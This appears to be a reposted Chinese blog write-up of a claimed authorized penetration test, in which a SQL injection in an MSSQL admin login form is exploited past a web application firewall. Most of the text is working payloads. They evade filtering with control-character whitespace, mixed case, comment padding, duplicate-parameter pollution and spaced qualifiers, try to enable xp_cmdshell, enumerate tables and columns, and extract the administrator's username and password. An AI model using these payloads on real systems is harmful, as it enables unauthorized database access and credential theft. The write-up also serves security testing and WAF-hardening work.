记一次实战MSSQL注入绕过WAF

2020-04-02 约 94 字 预计阅读 1 分钟

声明:本文 【记一次实战MSSQL注入绕过WAF】 由作者 kyrie403 于 2020-04-02 10:03:33 首发 先知社区 曾经 浏览数 131 次

感谢 kyrie403 的辛苦付出!

本次测试为授权测试。注入点在后台登陆的用户名处

存在验证码,可通过删除Cookie和验证码字段绕过验证


添加一个单引号,报错

and '1'='1

连接重置——被WAF拦截

改变大小写并将空格替换为MSSQL空白符[0x00-0x20]

%1eaNd%1e'1'='1


查询数据库版本,MSSQL 2012 x64

%1eoR%1e1=@@version%1e--


查询当前用户

%1eoR%1e1=user%1e--


查询当前用户是否为dba和db_owner

;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --
;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --

均出现延时,当前用户既不是dba也不是db_owner

尝试执行xp_cmdsehll,没有相关权限

;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --
;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --



查询当前数据库,连接重置——被WAF拦截

%1eoR%1e1=(db_name()%1e)%1e--


去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性,比如:函数名和括号之前可用注释或空白符填充

%1eoR%1e1=(db_name/**/()%1e)%1e--



查询当前数据库的表,连接重置——被WAF拦截

%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--


删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--

依然被拦截

删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles

%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--


可通过not in('table_1','table_2'...)的方式遍历表名

手工注入使用这种方法太慢,一次性查询所有表名

%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--


根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列

%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin


获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码

%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--
%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--



解密后成功登陆后台

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now